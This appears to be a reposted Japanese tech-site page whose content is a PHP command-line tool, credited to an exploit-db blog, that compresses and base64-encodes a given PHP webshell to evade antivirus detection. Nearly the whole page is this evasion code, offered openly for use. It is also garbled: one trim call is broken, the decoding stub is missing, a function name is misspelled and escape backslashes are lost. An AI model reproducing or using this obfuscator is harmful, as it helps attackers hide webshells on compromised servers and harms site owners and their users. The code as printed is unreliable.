ホームページ  >  記事  >  バックエンド開発  >  PHPで書かれたWebShellスーパーアンチウイルスツールのコード

PHPで書かれたWebShellスーパーアンチウイルスツールのコード

WBOY
WBOYオリジナル
2016-07-25 09:03:341549ブラウズ
  1. /*
  2. タイトル: PHP シェル nokill T00L
  3. ブログ:exploit-db.blogcn.com
  4. */
  5. error_reporting(0);
  6. @ini_set('memory_limit','-1' );
  7. set_time_limit(0);
  8. $toolname="$argv[0]";
  9. if ($argc<2) {
  10. baner($toolname);
  11. die;
  12. }
  13. $input_file=rim($argv[ 1]);
  14. $output_file='nokill_'.$input_file;
  15. if (file_exists($input_file)) {
  16. No_kill_c0de($input_file,$output_file);
  17. echo "PHP シェル nokill T00Lrn";
  18. echo "ブログ: エクスプロイト-db.blogcn.comrn";
  19. echo "入力: {$input_file}rn";
  20. $file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file;
  21. echo "[+] 生成成功!rn";
  22. echo "保存しましたto {$file_full_path}"."rn";
  23. } else {
  24. echo "PHP シェル nokill T00Lrn";
  25. echo "ブログ:exploit-db.blogcn.comrn";
  26. die("[-] 失敗しました ! ファイル $ input_file が存在しません");
  27. }
  28. function No_kill_c0de($input_file,$output_file){
  29. $no_whitespace=php_strip_whitespace($input_file);
  30. $no_php_tag=trim(trim(trim($no_whitespace,'');
  31. $enfile=base64_encode(gzdeflate($no_php_tag));
  32. $shellcode="x3cx3fx70x68x70xdxa";
  33. $shellcode.='$enfile='.'"' ."{$enfile}".'"'.';'."xdxa";
  34. $shellcode.="";
  35. $shellcode.="x3fx3e";
  36. file_put_contents("$output_file",$shellcode);
  37. }
  38. function baner($toolname){
  39. echo "PHP シェル nokill T00Lrn";
  40. echo "ブログ:exploit-db.blogcn.comrn";
  41. echo "使用法: {$toolname} phpwebshel​​lrn";
  42. }
  43. ?>
复制代


声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。